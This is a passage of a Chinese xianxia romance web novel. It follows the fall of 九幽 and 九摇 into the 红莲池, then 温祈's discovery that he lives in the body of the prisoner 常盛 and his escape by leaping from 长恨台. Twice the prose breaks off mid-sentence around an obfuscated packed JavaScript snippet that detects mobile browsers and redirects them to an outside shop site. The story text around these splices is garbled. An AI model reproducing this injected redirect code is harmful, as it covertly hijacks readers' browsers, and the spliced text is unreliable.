“小无弃,上仙刚走,不知要去往何处,还吐了好多的血,你快去把上仙找回来!” “上仙一回来就不对劲,我都感觉他不是上仙了。” “我也是这样觉得的……” 诛衫只是看了一眼花海,转身跟上九幽。 “我感觉小无弃也不对劲……” “我也是这样觉得的……” 九幽跌跌撞撞的往前走,却在这平地却无端摔了好几跤。 “青袂上仙,你回来了?你这怎么满身的血,你吐血了?!怎么回事,青袂上仙?”白狐叫住九幽,他无言却一往无前不回头。 她追上九幽,抓住他的胳膊,九幽侧身猛然甩开她。 “青……青袂?”白狐差点摔倒,满眼不可思议的看着九幽。 九幽往前走。 白狐看着他的方向,察觉不对,大喊,“你不能再往前走了!青袂!” 九幽如同中邪一样的往前冲,他站在了曾经跳下去的地方。 他不是青袂,不是青束,更不能是温久。他从一开始就是九幽,不,他可能连九幽都不是,那他是谁?他甚至还不知道自己最开始的名字是什么。 诛衫站在他身后。 九幽看着他,笑问他,“将军,我是谁啊?” “你唤我将军时,你便是我的九幽,唤我初见时,你是我的阿束,你想成为凡人了,我就是你的阿束。” 九摇毫不犹豫的回答他。 “你来找我了。” “我是来带你回家的。” 九摇突然一笑,九幽呼吸都颤抖了一下。九摇一笑,抵过九幽千年不悔,就好像初见那时,就注定让青束再等一次。 “我想与你结发为夫妻,我们不拜天地,不拜高堂,只行夫妻之拜可好?”九幽问他。 “好,九幽,那你回来,我带你走,我们一起走。”九摇朝他伸出手。 撕心裂肺的痛楚刨开他的血肉,里面层层叠叠刻着不知多少名字。 九幽突然弯下腰,像是在虚无中捡起了什么东西,手上却空空如也,九摇一眼就明白了——他捡的是金锁。 青袂是尘封多年未开封的酒,带着酒窖里储存多年的阴暗潮湿,却晦明晦暗不知其深意。 九幽是被打碎了的青袂,他浑身都是碎片带来的伤痕,满身流淌带着苦涩的血液。 神域之上纵身一跃,坠落下多年前分离的地方。 伴随着喜庆的哀乐,红莲池上掀起几世悲痛,涟漪一阵,无波无澜。 青君还在殿外愁着如何阻拦九摇的到来,三千神色慌张步履匆忙而来。 “青君,三千此次来,只是为了给你提个醒。”三千急忙喘口气,眼波流转时能看见眼里的血丝,“青袂上仙,就要陨落了。不——准确点,当是堕落。” 神域三千了事阁中,每一位神明都有一盏明灯,若是明灯熄,神陨落。可是,鬼界也有冥灯。明灯灭,冥灯燃,神堕落。 青雏推着青君去酒房里找九幽,不见身影,只留下木桌上刻下的一行字。 九摇抱住九幽,他们一同坠下神域,一同坠入红莲池。 九幽耳边听见九摇的声音,他说,“我抓住你了。” 他们沉入红莲池,化为白骨,生死相拥。 世上无人再奉酿酒仙官,天上再无青袂上仙。 人间再无久久天。 7. 温祈 (一) 温祈是所有妖怪都讨厌的神仙。 妖怪一生渡一次天劫,他们最大的绊脚石就是温祈。 温祈会在他们渡天劫时降下天雷,轻则损百年魂力,重则重渡修为。 可又不知从何时开始,神仙们也开始讨厌他了,可能是因为和他在一起的时候,无论在哪儿都会有妖怪来报复,就算是从背后踹他一脚也觉得爽了。 帝君见他竟可以被嫌以至此,就干脆让他也掌管了天牢,一抛到底,将错就错。 天街是神仙们的闹市。 温祈就坐在天街边,手拿云镜,他又在挑选该给哪个倒霉妖怪降下一道天雷了。 他看见一个正在河底捕鱼的小妖怪,觉得有些眼熟,放大来看——这不是那酿酒官儿池子里的小妖吗?那模样可真是恣意又快活,温祈瘪嘴,掀起一阵浪涛,那小妖怪从河里探出头,疑惑的看着无一人的四周。 温祈又在另一处掀起一阵波澜,小妖怪以为自己不小心侵略了谁的地盘,赶紧从河里出来,仓皇逃走。 “温祈,你又坐在这里挡路,回你的天牢去,别在这里给我染晦气!” 这降子的神仙手里抱着木头实在是看不下去了,对着温祈大吼大叫。他掌管降子,每天不知多少凡人给他烧高香。 “温祈,你擅离职守,帝君知道了小心又把你和那些重犯关在一起。” 啊,说了这位降子神仙,自然还有一个求子的,温祈一直没搞明白他们的区别,只能说这兄弟俩一天到晚不是雕娃娃就是在砍树,上回还试图跑到酿酒殿去看看有没有什么好树,结果一去,无功而返,全都是花。 “关在一起就关在一起吧,我每天还和他们一起讨论怎么越狱呢。”温祈无所谓道,“我都快和他们混成相见恨晚知己了,帝君还不把我调走吗?” “知己?你那顶多叫做人间的狐朋狗友,你守天牢就守天牢,别被他们扰了心性。” 温祈耸肩,顺手拿了一个没有雕完的娃娃就走了。 他边走,边把手里的娃娃拿来琢磨。 天牢是任何神仙都不想去的地方,里面关押重犯,但这些重犯也是有神仙有妖怪的,个个还身怀绝技。 比如那个喜欢刺绣的妖怪,温祈每天都要为他去作坊里偷些针线和布匹来供他绣一些花草树木。 他上次从温祈那儿要来两米的布匹,温祈为他找来了,结果被作坊发现,告到帝君那儿,他这偷布的罪不轻,也算不上太重,帝君也一下子没想出什么来罚他,最后反而是让他用刺绣写一份认错书,温祈让那妖怪代劳了,绣的不错,帝君和作坊里的神仙看了都称赞。 后来,妖怪用那匹布绣了与温祈等身的画像,温祈挂在天牢大门拿来辟邪。 (四) 温祈抱着天牢的柱子睡得正香,不知谁踹了他一脚,温祈睁眼。 放眼而去,天牢前天阶有八百八,天兵天将四人一阶,占满了这八百八的长阶,押送那满身腥气还不知是神是鬼的人。 “什么人啊这么大阵仗。”温祈懒洋洋道,他上次见这么大阵仗,还是帝君来探班的时候,那也是帝君来探的最后一次班,此后到现在还没再来过。 “恶鬼,束言。” 温祈挑眉,“等级还挺高,怎么就被抓住了?” 天兵一下子面露鄙夷。 “行,我不问。”温祈打着哈欠,反正等混熟了都会知道,“那就把他关最里边吧。” “战神嘱咐,将他关在九重台,还要多加十二道封印,每天三道天雷,追加雷池洗浴,以用来脱胎换骨。” 这哪是脱胎换骨,这是恨不得此人被剥皮抽筋,灰飞烟灭。 “行,关进去吧。”温祈为他们打开天牢,大门上挂着他的画像,温祈察觉到关押的人看了他一眼。 脚镣声刺耳,剐蹭在地上,所有的妖怪都起身看向他,温祈发现,那些关着的陨落神仙,还和他笑着打招呼。 (五) 束言被绑在了九重台上,这里只有他一人,温祈按照要求,给他加了十二道封印,每天天雷两道,且雷池裕身。 温祈了解这里的每一个人,唯独束言来到这里后没说过一句话,温祈闲着也是闲着,就主动找他搭话并且试图聊天。 “这些要求都是战神给你追加的,你怎么就惹着他老人家了呢。这天上,惹谁都不要惹战神,我上次把他门前的池子里的鱼拿去烤了,他差一点就把我烤了。”温祈叹气,手里拿着酒,独自神伤,“他家的小仙童个个都能打,我一个上品神仙,极品官员,受帝君重用,竟打不过他家一个低阶小仙。” “你说,像战神这样,活多久就有能耐单多久的神仙,还不如和妖怪谈恋爱去……不对,妖怪见他都跟见了鬼似的绕着走路,你又是怎么被他抓住的呢?” “这十二道封印不仅限你自由,并且会在你的皮肤上越陷越深,最后缠上你的骨头,永世去不掉,你干了什么的受这些啊,在我这儿你可都是第一个。” “天雷打的你不痛吗?你要是不好意思喊,我把耳朵堵住,你放心,你一个人被关在九重天,没人会听见的,你放心大胆的叫吧。” “雷池焚身化骨,可你的肉身会重新长出来,我已经看见你骨头上面的封印了,哎,你就真的不打算和我聊天吗?” 束言闭眼。 (六) 千年难一见,战神来天牢了。 战神来天牢时,卸下了铠甲,穿着一身素衣,脸上轮廓如刀雕玉琢,眉宇间都透露着杀气,温祈见他来时,想,天牢也是战神最适合的地方去处。 战神去看了束言,他们二人单独待在九重台许久,温祈本打算偷听,他最后也确实是听到了,他听到了束言的惨叫。 “你这可是动用死刑了啊。”温祈站在战神身后道。 “这一切都是他罪有应得。”战神头也不回的离开天牢。 温祈也没再说什么,去九重台看束言。 他看见束言跪在地上,青丝散落,遮住了半边容颜,一只手断裂,却也在慢慢愈合。 “十二道封印你不叫,天雷你不叫,雷池你更不叫,战神一来,拧断了你一只手,你就疼成这样。”温祈无奈叹气,走过去为他疗伤。 束言终于说了他进天牢一来对温祈说的第一句话,“你还需要为我治疗?” “战神可真狠啊,要不是鬼不会做梦,不然战神恐怕是你噩梦里真心害怕的人,不会疼成这样吧。”温祈道,“你是我的重犯,按理说本不应该对犯人动私刑,可谁叫给你动私刑的是战神呢,我屁都不敢放一个。” 束言又不说话了。 (六) 温祈又端着一壶酒,坐在束言身边,又打算开始自己自言自语了,可束言却先开口了。 “你知道常将军吗。” “常将军?九百年前就灰飞烟灭的那个常将军吗?”束言难得开口,开口却是一个已经死了九百年的人,不由得有些兴致缺缺。 束言一笑,“对,就是那个灰飞烟灭了的常盛。” “提他作何?莫非你与常将军还有渊源?”温祈喝一口酒,想想又有些好笑道,“常将军征战四方大赦天下,当年英勇无人能及,其美名可与九摇将军相齐,战神当初还是他麾下的,可惜就是死的太惨,竟落了个灰飞烟灭。” 束言仰头,“对啊,谁能想到呢。” 温祈疑惑的看向他,“你是恶鬼,怎么被战神给抓到了?别给我说什么一失足成千古恨什么的,来这儿的人都这么给我说的。” 束言眼眸低垂,温祈这才发现他的眼睛是海底最深沉的蓝色。 (七) 天兵来报,今日战神竟然又要来,温祈无法,只好在束言身上偷偷塞了一张可以减轻痛苦的符咒。 温祈守在门外,这回也不打算偷听了,离得远远的,蹲在那个会刺绣的妖怪身边,他近日无聊,竟然在绣人间的山河图。 “你可真是厉害啊。”温祈本想说你够无聊,可想在别人给自己绣过认错书,又给自己绣了副画像,想想就算了。 “我也觉得我挺厉害的,只是这人间景象太繁荣了,我甚至有些记不清了。” “这还不简单。”温祈从袖里拿出云镜,“看着绣吧,想绣哪儿绣哪儿。” “谢了。”妖怪高兴的接过云镜,开始翻阅人间景象,边看还不忘和温祈聊着,“你整天吃那神仙的闭门羹,为什么不来问问我们呢。” “什么?”温祈诧异道,“他是神仙?” “不会吧,你看不出来?”妖怪同样诧异道,“他身上的羽环你没看见吗?” “没啊。” 羽环是每个神仙身上都有的,只不过若是成鬼升成的神仙,就没有,但这样的神仙在神域少之又少,温祈只知道两人:青袂和九幽。 “天罚神仙,我对你真是太失望了。”妖怪叹息道。 温祈呆滞在原地,这真是他没想到,“我对至今也无法越狱的你也很失望。” “其实,你问妖怪,还不如去问那些神仙,那清绝神仙老爱八卦了,这几天我们都围着他听他讲故事呢。” “这老清绝,还聚众讲故事?我怎么不知道?” 妖怪找到了一副田园景象,没有再理会温祈说什么,认认真真的开始刺绣。 (八) 温祈又不知道去谁的大殿上偷来一张凳子,坐在牢房外,笑眯眯的看着清绝。 “你就是这个态度?”清绝道。 “你还想要什么态度?难不成你想坐在外面我蹲在里面?” “其实我也不是没想过。”清绝百分百实诚道。 其实清绝没进天牢前也算是个混的风生水起地神仙了,他掌管世间情爱,后却因为乱撮合神仙和妖怪被关进了天牢。 “当初你乱点鸳鸯谱,神仙和妖怪你都敢乱点,这是越活越糊涂。” “神仙和妖怪怎么不能在一起了?温祈,难道你一直这么认为的?” 温祈想想,他要是说什么惹得清绝不高兴了,说不定就没故事听了,“能能能,怎么不能在一起了?只是这亲家两头探的多麻烦,一个天上一个地下的,跑的多麻烦。” 清绝哼一声,“你倒是挺识相。” “说吧说吧,你老神仙了,你知道的最多。” “你还知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990884|193699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我怎么进来的吗?” “啊?乱撮合呗。” 清绝高深莫测的笑了笑,“我当初点了战神和一个妖怪的谱。” “……”温祈搬起自己的小凳子,“行了,你先别说,我觉得我知道了这事儿可能会被灭口,知道这事儿的人没几个吧?” “所有神仙,就你不知道了。” 温祈重新放下凳子,“老神仙,说吧。” (九) 清绝还在掌管情爱的时候,战神栖零还是常盛麾下的一名将士,只因栖零天生不信情爱,与清绝发生了争执,清绝为了报复他,便将他的姻缘和一个妖怪连在了一起。 常盛是最看中栖零的,最后那妖怪的死,也是常盛所为。 “常盛,我尊你是我的老师,教我习武,你为何要杀他?” “他是妖怪,你是神仙。” 那妖怪的死,就是因为这简短的八个字。 常盛不认可与妖怪相关的所有情爱,他甚至不相信妖怪也可以有情爱,他的剑下亡魂,也少不了痴男怨女。 所以他最后也成为了自己的剑下亡魂。 清绝因为他而进了天牢,栖零因他走火入魔,成为了从地狱而来的战神。 栖零用常盛的身体承载了那妖怪的灵识,成为了魂具,最后生死不明,所有的人都看见他在栖零剑下灰飞烟灭。 殊不知,栖零只是把他扔在了鬼界池沼,成为了那九死一生的生。 常盛没死,他活下来了,成为了妖怪,成为了妖怪中的恶鬼,并且在九百年间,不停的被栖零讨伐。 “你为了一个妖怪,与我恩怨至此?” “为何不能?” “你只是被清绝的一场报复输得一塌糊涂,清绝掌管情爱,他让你和那妖怪相恋,误入歧途,你不恨他,恨我?” “你口中的妖怪是我的挚爱,清绝做的,只是将我和他的名字绑在了一起,一切皆因有缘,我为何恨他,反而不恨你这个亲手将我爱人杀死的仇人?” 常盛嗤笑,一时无言,为栖零奉上双手,“那你打算如何处置我?” “你猜,处置你的人会是谁?” “呵,该不会是我自己吧?”常盛嘲笑道,“你可真是我的好学生,用你老师的身体装着你爱人的灵识,你这么恨我,还要每天面对我的一张脸,还真是苦了你尊师重道的一番心思。” “常将军,我为何不能?” (十) “哦,那你的意思就是,常盛杀了那妖怪,然后栖零杀了常盛,最后常盛的灵识被装进妖怪的身体里?” “是的。” “然后在这九百年里,栖零一直讨伐常盛,最后把常盛抓回了天牢关起来,受这九重台之苦不消不散,然后处罚他的还是这妖怪?” “是的。” “有病。”温祈总结道。“那这妖怪现在在哪儿?你虽说这已经过了九百年,可这九百年里你可没说过这妖怪在哪里,又在干什么。” “这妖怪上天啦。” “上天了?难不成当神仙了?” “对啊。” “什么神仙?” “天罚。” “罚谁?” “你。” (十一) 温祈跑路了。 跑的很快,清绝的“你”字说了一半,他就跑了。他真的很怕清绝这老东西一嗓子把天兵天将吼过来揭穿了他的身份邀功,然后最后真成了他在里边蹲着看清绝,清绝在外边站着看他。 可他也确实不知道该往哪里跑了,神域虽大,下去的路只有两条:一条是战神亲信把手的光明正大的下去的路,一条是当初杀伐将军纵身一跃的长恨台。 他找不到理由下去,天牢要他时时看管着,无令时根本就不能名正言顺的下去,于是他就只能去找他自认为为一类人……不,鬼的青袂那儿去。 任凭那酿酒的脾气多臭,他都认了,毕竟他的酒没少偷。 他饶了远路去酿酒殿,偷偷溜进去。 这酿酒殿冷清的他能听见自己的脚步在回响。 这里的路他都已经熟轻熟路,找到了那酿酒官经常在的酒坊,那身穿青衫的人果然在。 他听见身后隐约的脚步声,像泥鳅一样钻了进去,青袂听见动静,回头看他。 (十二) 他与这酿酒官交情比参了水的酒还要浅,一时间尴尬的不能自己,后来一想,这偌大的酿酒殿中,只有三个人,青雏他在路上就已经遇见过了,还剩两人,就是腿脚不灵的青君,和……眼前这位了。 原来是误听了自己的脚步,温祈一拍脑门悔恨不已。 青袂看着自己的眼神有些迷惑,看来,虽然在神域一起待了这么多年,这位神仙的交际能力依旧不行啊。 可青袂与那些老东西始终有些不同,温祈渐渐闻到了苦味。 “你……你好?”温祈有些发怵。 青袂点头,出其不意的温和一笑,“你好。” 温祈一看好苗头,正想介绍自己,可这位神仙竟然转头不理人了,温祈唯一能想到与他人设相符的,就是他把自己当作迷路的人了。 8. 鬼歧 (一) 青袂的背影掀然,头发并未束起,只是越靠近他,就越苦。 他完全不在意温祈去留,温祈也就大胆的围着转了几圈。虽说他经常偷酒,可一直没人去天牢找他麻烦,一开始他还以为是这人懒得来他那晦气地,现在看来不然啊,人家说不定连酒少了几盅都不在意。 温祈试图在他身上找出同类的归属感和亲切感,只是几秒他就放弃了。和青袂比其他,对方确实和飘飘欲仙的上仙一样,只有他活的跟鬼似的。 他不自讨没趣,自己是过来逃难的,他找了块角落,看着青袂的背影,和着苦香一起睡了一觉。 (二) 他醒来的时候,青袂不见了。当他以为是青袂在他身上闻到了他自己酿的几盅酒的气味,去揭发他了,毕竟,他来之前确实还喝了几口。 温祈都准备又跑路了,可他看见青袂从花圃回来,手里拿着几株花,这才放心。 可让他心惊的事还在后面。 见鬼,这酿酒官主动开口说话了。 “你便是天罚神仙?” 温祈不知道为什么自己睡一觉就让这酿酒仙官知道自己是谁,有些胆颤,生怕下一秒就冲进来一摞子的兵把他架走,只能如老鼠啃玉米一样的点头。 青袂笑的不温不火,“前些日子无弃给我说,他跑到人间的河里玩,结果不知是惹了哪路的神仙,差点把他给劈着。” 温祈那一雷,实在是有意为之。虽说他偷酒,青袂不找他麻烦,那只小妖无弃却不会放过他,他就私心报复了一下,没想到这小妖怪还跑来明告状。他自然也不能给青袂说真话。 “我……坐在天街上……劈着玩,不小心……就,劈到他了……” 青袂点头,似乎是接受了他这一说法。 (三) 渐渐的,他发现青袂很好说话,就放的开了些。 “青袂上仙不问我为什么赖在这里还不走吗?” 温祈本以为青袂也会来一句为什么,那么他就可以向青袂大吐苦水,现在很多事,很多疑惑都还在他的肚子里,撑得他很难受。 “无弃看见你在这儿的时候,便让我把你赶出去。”青袂道,“说战神现在正四处找你。” 温祈背后无端生了一层冷汗,“找,找我干什么?” 酿酒仙官当真如酒水温柔悱恻,“战神在外说的是,有些事要找天罚神仙说清楚。” 温祈现在严重怀疑青袂还是不知道自己的名字。 “我和他没什么好说清楚的,我和他根本就不熟。” “那为何你还要躲在这里?” 温祈一哽,终于受不了这种折磨,把所有事情都告诉了青袂。 (四) 把这一切都告诉青袂后,温祈完全不计会有什么后果,连呼吸都顺畅了很多。 青袂听完,秀美微蹙,“那温祈上仙,现在有何打算?” 温祈趁着讲故事的空隙,顺便告诉了自己的名字。 “神域我肯定是待不下去了,我想离开。” “就打算这么走了吗?”青袂问他,随后便说出了自己的一系列疑惑,“纵使清绝将你与栖零牵了红绳,后来栖零要将常盛魂飞魄散,可常盛却依旧没死,反而是又把常盛的灵识装入了你的身体,那现在,你又是谁?” 温祈先是感动青袂竟然这么认真听他讲完,随后又一愣,“等,等一下,草!那蓝眼睛的是我,那我……我又是谁?我是温祈啊。” 青袂纠正道,“你的身体,是谁?” “我……我的身体。”温祈一下子想不通了,有些语无伦次。 青袂见他这样,说:“上仙应该听清绝讲完那段故事再跑的。” (五) 温祈又偷跑回去了,他已经打算跪着求青袂让他陪自己一起回来的,结果他只是问了一句可不可以陪他回去,送到门口也成,膝盖都已经软了,青袂就已经答应了,于是温祈给青袂行了一个五体投地的礼。 酿酒官是出了名的大门不出二门不迈,没人在意温祈会神不知鬼不觉的溜进酿酒殿,也更不会相信酿酒官会在酒坊呆闷了出来闲逛。 所以他们很是轻松的就回了天牢。 清绝正打算睡下了,看见温祈不要命的回来了,一下子又精神了,刚准备说什么,温祈以为他要大喊邀功了,立刻封了他的嘴。 “……嗯?”清绝脸上大写的不解。唯恐吵醒其他人,温祈蹑手蹑脚的靠近他。 “你别喊……” 温祈话还没说完,清绝就爽快的点头了,倒让温祈少了发挥的余地。 “……” 清绝看见了站在温祈身后的青袂,有些意外,“我的话还没说完,你就跑的飞快,跟烟似的一溜就没影儿了。” “这不害怕你把我供了吗……”温祈失落道,然后又向清绝重复了一遍青袂所说的疑惑。 清绝听的连连点头,“这些都是他告诉你的吧,以你脑袋里面装的那些玩意儿,是想不出来的。” 温祈朝他翻白眼,“我糊涂,但不傻。所以我这幅模样,是谁的?” 清绝反倒是有些心虚了,眼睛扫了一下正在睡觉的同僚们,随后毫不犹豫的一脚踹醒了那个会刺绣的妖怪。 那妖怪惊醒,擦了擦哈喇子,“什么?哪儿?”他看了眼周围,最后又睡过去了。 清绝瞧他那没出息的样,“我就只是个牵线的,身旁这个是我的小仙童,混进牢里陪我的。” 温祈不在乎这妖怪是谁,现在他心急,只想要自己的答案。 “这不人都有犯错的时候,我也付出了代价了,你死了多久我就已经在这儿被关了多久了。”清绝反而是看向了酿酒官,“我确实错点鸳鸯谱,温祈,你是无辜的。” “无辜的?不是,我不要这个,我还知道我是无辜的,我根本什么就没做就死了,不明不白,我现在就想知道这幅身体是谁的?” “还能是谁的。”清绝苦笑,“自然是常盛将军的。” (六) 温祈觉得,纵使自己降下了那么多道天雷,都不比清绝这句话能劈他。 算得上是上辈子吧,他被常盛杀了,然后又在算什么事儿的这辈子,他待在了仇人的身体里,在天牢看管自己的仇人——还给他嘘寒问暖?! 等等。那若束言就是常盛,那他身上的伤…… “草。”温祈暗啐。 “什么?”清绝没太听清。 “我说你真是事多又犯贱。” “……我也觉得。”清绝抿嘴,“其实吧……” “还有?” “对……你不是说栖零将你和常盛互换纯属有病吗?虽然这样做,在别人看来确实有病,但他也是有原因的。因为,本来常盛和栖零才是一对……是我硬把红线拽到了你的身上,让栖零喜欢上你,但他俩是天生的一对,是我不用牵红线就注定的一对,所以常盛虽把你杀了,栖零却无法忤逆本心将常盛杀了。他一开始并不在乎是不是我搞的鬼,后来发现了,就将你们两个互换了——” “什么?!”温祈吼了一嗓子,他们窸窸窣窣动了一下,有人翻了身,温祈赶紧捂住自己的嘴,“你这是牵红线了吗?你不仅棒打鸳鸯,还乱牵红线谱,活该你现在还在这儿。” “我已经知道错了。”清绝欲哭无泪。 可真正想哭的还是温祈,“那我是谁?” “……你本就只是一个小妖怪罢了,只是倒霉透了,被我随手绑了线。” “…………”这一点,温祈只能自认倒霉了,“我原来叫什么名字?” 清绝皱眉,认真思考起来。 “你该不会忘了吧?” “没忘,就吓吓你。”清绝笑道,“你从前只是一个小妖,就叫歧,歧途的歧。” “没有姓吗?”温祈失落道。 没有姓便只能姓鬼了。 “没有。”清绝也甚至无奈,“所以你终于知道自己有多倒霉了吧。” 温祈仰望房顶,嘴里嘟囔,“原来那妖怪的蓝色眼睛,是我自己的。” (七) 温祈带着青袂跑回去了。 他们回到了酿酒殿。青袂至今也没机会想通自己回酿酒殿为何还要偷偷摸摸的。 “接下来你打算如何?”青袂问坐在地上一脸颓废的温祈。 “走吧,走了都好,我不想和他们玩下去了。”温祈道,“爱喜欢谁喜欢谁吧。” 青袂沉默。 “酿酒官儿,你知道怎么能迅速下凡吗?” 青袂这回不沉默了,“知道。” “如何?”温祈蹭起来,激动的看着青袂。 青袂笑的温和,“从长恨台跳下去。” “…………”温祈重新坐回地上,“那上仙认为,我生存的几率有多大?” 青袂依旧笑,“长恨台下面正对着鬼界的红莲池。” 温祈浑身都战栗了一下,“红莲池?我摔进去,不用魂飞魄散,直接消亡得了。” 他这样,青袂也想不出什么法子了。 有什么东西掉了出来。是温祈从降子求子那儿顺手拿的木偶,温祈把他捡起来,拍了拍它的脑袋。 它还没雕刻好就被温祈拿走了,脸上的轮廓还很浅。 青袂却看着它若有所思,“……若温祈上仙甘愿冒险,长恨台上纵身一跃,在快要落入红莲池的时候,将灵识注入这个……木偶,若是幸运,上仙能飘起来,在那里等上十八天,就自由了。” “……酿酒官儿说的飘起来,是指我灵魂出窍半死不活的挂着吧。” “若温祈上仙想,便把它交给我吧。” 青袂一笑,看来是这个样子了。 但现在也没有其他办法了,温祈豁出去了。 (八) 有些人说着豁出去,却又拖延了两天。酿酒官除了身上味儿苦之外,其他的其实都很好,花圃子的花也很好玩。 等他终于下定决心的时候,青袂又告诉了他一件事。 “温祈上仙可是由鬼成仙?” 温祈有种不好的预感,“对,对啊。” “若是鬼,上仙可还记得自己鬼界生灵天生自带的金锁?” “……草。” “若是上仙找不到自己的金锁,不管幻化何形,金锁认主,上仙恐怕是跑不远的。” “……草!” (九) 温祈玩不起了,他又回了趟天牢,审问了清绝老神仙,知道了自己金锁的位置——在战神殿内画像下。 清绝告诉他,那金锁就明晃晃的放在画像下,至于那画像,温祈一看就认得出来——那就是自己的脸。 温祈已经分不清了。他这张脸是常盛的,常盛那张脸才是自己的,可他又突然明了了,栖零两相顾,为了留住心中所爱,不明是非,竟是贪得无厌,全部都留下了。 好一个战神栖零。 栖零这几日私自动用天兵天将暗地里寻找他,过不多久迟早会盯上酿酒殿,他不能再这样下去了。 他确定自己已经做好完全的准备,他甚至在行动前去见了常盛。 当初温祈可怜他,道那战神蛇蝎心肠这样待他,与他同坐讲些安慰的话,解他烦闷,可现在想来,他竟是盯着自己的脸受着这些折磨,可怜着自己。与其说那战神两不分,倒不如说真正痛恨的其实还是自己。 你看看这张脸,那妖怪的蓝眼睛,生来就是异类,惹旁人说三道四,那眉目间全是鬼界带来的荒凉,唇齿间都是一度苍白。 怪不到栖零对着这张脸才下得去这么狠的手。 “你就是常将军。” “我是常盛。”他沙哑道。 “……”温祈看着他身上伤痕累累的封印,这毕竟还是自己的身体,心疼还是有的,“我用着你的身体,在神域里为什么没人认出你?” 常盛笑了,“这有什么好奇怪的吗?” “明明很奇怪,哪里都不对劲。” “这并不奇怪,你在天上呆的还不够久,你还不明白,所有人的眼睛都是看不见的。就如同当初的九摇一样,任何人都无法保持时刻的清醒,那样太累了。” 温祈并不明白这和那堕落神仙有什么关系,“但我就是要知道全部的真相,我就是要明明白白。” “你要明明白白,你在知道后,去见过栖零了吗?” 见他干何?温祈只是看见他就怕他。 “我不会再见他了,我马上就要离开了,马上就要摒弃一切,与这神域再也没有任何瓜葛。去当鬼也好,在鬼界游荡,在人间流浪,都比在神域束手束脚的好。” 常盛笑他,“你只不过是一只倒霉小妖,去留无人管,现在唯一在意你的,就只有栖零了吧。他是我教的学生,他的心思还不难猜吗?当初他败给清绝的一场赌局,一败涂地到至今,终究还是舍不得啊……你走了好,你最好走的远远的,这样,一切都结束了。”常盛闭上眼睛,把脑袋偏到一旁,“栖零今日还会来,到时候你便去拿回你的金锁罢。” 温祈注视他良久,站起身来,毫无留念的离开了。 他离开前,听见常盛在他身后说,“小妖怪,对不起。” 他到战神殿的时候心里还有些发怵,因为他也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990885|193699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾吃了这些仙童们不少亏,只是今日似乎是无人把守,温祈走近了才看见,他们都倒在了门口。 他壮着胆子去试探他们,发现他们一个个都醉倒了。 他听见了身后有轻盈的脚步越来越近,他全身的毛都嗲了起来,等苦涩的香味愈发浓郁,他如重获新生,毫不犹豫的转身给了青袂一个熊抱。 酿酒官果真是一手回梦佳酒。 青袂被这猝不及防,手里的提灯摇晃了几下,后退几步,“温祈上仙,这样恐怕不合适。” 温祈才摇摇晃晃的松开。 “温祈上仙快去罢,我在这儿给你守着。” 现在温祈看青袂的眼里全是千恩万谢,他把当做了大恩人,重重的点头,就进去了。 (十) 那金锁果真就放在那里,没有任何封印结界,仿佛只是个无关紧要的饰品。 与其说画像上面那人风姿绰绰,长得像温祈,倒不如说是温祈长得像他,但实际上他们又是同一个人。 他对谁都没有足够的恨,连喜欢都来不及攒够,就要拼上自己半条命去逃离这群人。 温祈拿上自己的金锁,在自己手里闪闪发光,他坚定的不去看那画像最后一眼,决然离去。 青袂告诉他,明天是酒宴,让他明日就离开。 可青袂并没有告诉他有什么法子能让他平安离开,只要想到是从长恨台上跳下去,就无论如何都不能平安。 温祈坐在花圃园里,看着那些花儿,听到了叽叽喳喳的声音。 “那是上仙交到的第一个朋友吗?” “他不就是那掌管天劫的神仙吗?上次小无弃给上仙告了他的状说被欺负了,哭唧唧的。” “小无弃就是想往上仙身上钻而已!” …… 温祈看着它们,怅然若失。这些美丽生灵,整天无忧无虑,生死不惧,惹了温祈羡慕嫉妒了很是一阵。 (十一) 温祈到了长恨台。 他不知道在酒宴上发生了什么,今天连天街上都是空的。后来隐约听见有人喊着失火了,不知道是不是青袂所为。 青袂告诉他,长恨台下面正对着的是鬼界的红莲池。 那池子下全是白骨,会洗仙身,他还听说还会有怨灵将人往下拽,人神鬼皆不放过,只要是抓住了,无法及时挣脱出来,就是吃定了。 而战神栖零还在酒宴上,他迷茫的看着杯中青袂酿的酒,这酒唇齿间皆留香间,让人恍然分不清前世今生,他一下子想到了许多,无论是常盛,还是温祈。 他突然忆起了当初故人——九摇身边带着的那个宝贝徒弟九幽。那时他时常与九幽作伴,后来—— 后来发生了什么?后来鬼界讨伐,他这位朋友杀了作恶多端的鱼渊,明明是立下了神域的头等大功,却在他师父面前毅然跳下了长恨台,一去不复返。 他笑九幽痴,因为他平时就是疯疯癫癫的做派,除了九摇说的话,谁也撼动不了他。栖零甚至怀疑,就是九摇让九幽跳下去的,不然九幽哪里会肯听谁的话心甘情愿跳下去? 可九摇也跳下去了。这师徒俩,没一个是清醒的。再后来,他听说九幽是鬼王,杀的那个鱼渊是他的亲叔叔,教导他的九摇正是当初带兵攻打鬼界的九摇—— 栖零又笑,独饮一杯,就当他们师徒二人是殉情了罢。 他手中的酒杯突然着了火,火舌耀武扬威的在他眼前乱窜,随后他听见所有人都乱作一团的喊着这火扑不灭,他心中那残留的念想一动,却始终没有付出任何行动。 (十二) 温祈跳下去了。 其实不难,他眼一闭,心一横,就跳下去了。 他闭着眼下坠,如宝贝一样抱着手里娃娃,那娃娃的后背被青袂刻上了一个工工整整的“歧”字,脖子上挂的是鬼歧的金锁。 